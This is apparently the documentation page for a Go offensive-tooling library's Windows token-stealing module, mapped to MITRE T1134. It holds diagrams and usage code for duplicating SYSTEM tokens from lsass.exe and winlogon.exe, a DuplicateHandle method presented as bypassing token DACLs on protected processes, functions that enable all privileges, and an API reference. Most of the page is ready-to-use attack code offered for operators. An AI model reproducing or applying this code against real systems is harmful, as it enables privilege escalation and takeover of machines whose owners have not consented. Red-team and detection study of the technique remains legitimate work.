Token Stealing

<- Back to Tokens Overview

MITRE ATT&CK: T1134 - Access Token Manipulation D3FEND: D3-TAAN - Token Authentication and Authorization Normalization


Primer

Every process on Windows runs under a security token that defines who it is and what it can do. A SYSTEM process has a powerful token; a regular user process has a limited one.

Stealing someone's employee badge to access restricted areas. Token theft duplicates the security token from a high-privilege process (like lsass.exe or winlogon.exe) and uses it to create new processes or perform actions with that identity. The original process is unaffected -- you have a copy of its badge.


How It Works

Token Theft Flow

sequenceDiagram
    participant Attacker as "Attacker Process"
    participant Target as "Target Process (SYSTEM)"
    participant Kernel as "Windows Kernel"

    Attacker->>Kernel: OpenProcess(PROCESS_QUERY_INFORMATION, targetPID)
    Kernel-->>Attacker: Process handle

    Attacker->>Kernel: OpenProcessToken(handle, TOKEN_DUPLICATE|TOKEN_QUERY)
    Kernel-->>Attacker: Token handle

    Attacker->>Kernel: DuplicateTokenEx(token, TOKEN_ALL_ACCESS,<br>SecurityImpersonation, TokenPrimary)
    Kernel-->>Attacker: Duplicated token (new handle)

    Note over Attacker: Now holds a SYSTEM-level<br>primary token

    Attacker->>Kernel: CreateProcessAsUser(dupToken, "cmd.exe")
    Note over Attacker: New cmd.exe runs as SYSTEM

Three Theft Methods

flowchart TD
    START["Need a token"] --> Q1{"Know the\nprocess PID?"}

    Q1 -->|Yes| STEAL["Steal(pid)\nOpen process -> Open token -> Duplicate"]
    Q1 -->|No| Q2{"Know the\nprocess name?"}

    Q2 -->|Yes| STEALNAME["StealByName(name)\nEnum processes -> Find PID -> Steal"]
    Q2 -->|No| Q3{"Have process\nhandle with\nDUP_HANDLE?"}

    Q3 -->|Yes| DUPHANDLE["StealViaDuplicateHandle()\nDuplicate remote handle -> Duplicate token"]
    Q3 -->|No| INTERACTIVE["Interactive(type)\nWTS session -> QueryUserToken"]

    STEAL --> TOKEN["*Token"]
    STEALNAME --> TOKEN
    DUPHANDLE --> TOKEN
    INTERACTIVE --> TOKEN

    style STEAL fill:#4a9,color:#fff
    style STEALNAME fill:#49a,color:#fff
    style DUPHANDLE fill:#94a,color:#fff
    style INTERACTIVE fill:#a94,color:#fff

DuplicateHandle Bypass

The StealViaDuplicateHandle technique bypasses the token's DACL by duplicating a handle from the remote process's handle table, rather than opening the token directly:

flowchart LR
    subgraph "Standard Steal"
        A1["OpenProcess"] --> A2["OpenProcessToken"]
        A2 -->|"DACL check"| A3["Token"]
        A2 -.->|"ACCESS_DENIED\n(protected process)"| FAIL1["Failed"]
    end

    subgraph "DuplicateHandle Bypass"
        B1["OpenProcess\n(PROCESS_DUP_HANDLE)"] --> B2["NtQuerySystemInformation\n(find token handles)"]
        B2 --> B3["DuplicateHandle\n(bypass DACL)"]
        B3 --> B4["DuplicateTokenEx"]
        B4 --> B5["Token"]
    end

    style FAIL1 fill:#f66,color:#fff
    style B5 fill:#4a9,color:#fff

Usage

Steal by PID

import "github.com/oioio-space/maldev/win/token"

// Steal SYSTEM token from lsass.exe (PID 680)
tok, err := token.Steal(680)
if err != nil {
    log.Fatal(err)
}
defer tok.Close()

// Check the identity
details, _ := tok.UserDetails()
fmt.Println(details.Username) // "SYSTEM"

Steal by Process Name

// Find and steal token from winlogon.exe
tok, err := token.StealByName("winlogon.exe")
if err != nil {
    log.Fatal(err)
}
defer tok.Close()

// Check integrity level
level, _ := tok.IntegrityLevel()
fmt.Println(level) // "System"

Steal via DuplicateHandle

import (
    "golang.org/x/sys/windows"
    "github.com/oioio-space/maldev/win/ntapi"
    "github.com/oioio-space/maldev/win/token"
)

// Open process with PROCESS_DUP_HANDLE
hProcess, _ := windows.OpenProcess(
    windows.PROCESS_DUP_HANDLE, false, targetPID,
)
defer windows.CloseHandle(hProcess)

// Find token handle in remote process via NtQuerySystemInformation
// (remoteTokenHandle discovered via ntapi.FindHandleByType)
var remoteTokenHandle uintptr = 0x1234

tok, err := token.StealViaDuplicateHandle(hProcess, remoteTokenHandle)
if err != nil {
    log.Fatal(err)
}
defer tok.Close()

Token Privilege Management

tok, _ := token.Steal(targetPID)
defer tok.Close()

// Enable all privileges
tok.EnableAllPrivileges()

// Enable specific privilege
tok.EnablePrivilege("SeDebugPrivilege")

// List all privileges
privs, _ := tok.Privileges()
for _, p := range privs {
    fmt.Println(p) // "SeDebugPrivilege: Enabled"
}

// Check integrity level
level, _ := tok.IntegrityLevel()
fmt.Println(level) // "High", "System", etc.

Combined Example: Token Theft + Process Creation

package main

import (
    "fmt"

    "github.com/oioio-space/maldev/win/privilege"
    "github.com/oioio-space/maldev/win/token"
)

func main() {
    // Check if we are admin
    isAdmin, isElevated, _ := privilege.IsAdmin()
    fmt.Printf("Admin: %v, Elevated: %v\n", isAdmin, isElevated)

    // Steal SYSTEM token from winlogon.exe
    tok, err := token.StealByName("winlogon.exe")
    if err != nil {
        fmt.Println("Token theft failed:", err)
        return
    }
    defer tok.Close()

    // Enable SeDebugPrivilege on the stolen token
    tok.EnablePrivilege("SeDebugPrivilege")

    // Verify identity
    details, _ := tok.UserDetails()
    fmt.Printf("Stolen identity: %s\\%s\n", details.Domain, details.Username)

    level, _ := tok.IntegrityLevel()
    fmt.Println("Integrity:", level)

    // Use the token to list all privileges
    privs, _ := tok.Privileges()
    for _, p := range privs {
        if p.Enabled {
            fmt.Println("  [+]", p.Name)
        }
    }
}

Advantages & Limitations

Advantages

  • Three theft methods: Direct PID, by name, and DuplicateHandle bypass cover most scenarios
  • Full privilege management: Enable, disable, remove individual or all privileges
  • DuplicateHandle bypass: Circumvents token DACL restrictions on protected processes
  • Token introspection: UserDetails, IntegrityLevel, Privileges, LinkedToken
  • Detach for lifetime management: tok.Detach() transfers handle ownership to caller

Limitations

  • SeDebugPrivilege required: Stealing from SYSTEM processes requires debug privilege
  • Process must be accessible: Cannot steal from PPL (Protected Process Light) without kernel exploit
  • Token is a copy: Changes to the stolen token do not affect the original process
  • Detectable: OpenProcess + OpenProcessToken is logged by ETW and most EDR products
  • Session 0 isolation: SYSTEM tokens from Session 0 cannot interact with the user desktop

API Reference

Token Creation

func Steal(pid int) (*Token, error)
func StealByName(processName string) (*Token, error)
func StealViaDuplicateHandle(hProcess windows.Handle, remoteTokenHandle uintptr) (*Token, error)
func OpenProcessToken(pid int, typ Type) (*Token, error)
func Interactive(typ Type) (*Token, error)
func New(t windows.Token, typ Type) *Token

Token Methods

func (t *Token) Token() windows.Token
func (t *Token) Close()
func (t *Token) Detach() windows.Token
func (t *Token) UserDetails() (TokenUserDetail, error)
func (t *Token) IntegrityLevel() (string, error)
func (t *Token) LinkedToken() (*Token, error)
func (t *Token) Privileges() ([]Privilege, error)
func (t *Token) EnableAllPrivileges() error
func (t *Token) DisableAllPrivileges() error
func (t *Token) RemoveAllPrivileges() error
func (t *Token) EnablePrivilege(priv string) error
func (t *Token) DisablePrivilege(priv string) error
func (t *Token) RemovePrivilege(priv string) error

Types

type Type int
const (
    Primary       Type  // Primary token for process creation
    Impersonation Type  // Impersonation token for thread-level
    Linked        Type  // Linked (elevated) token
)

See also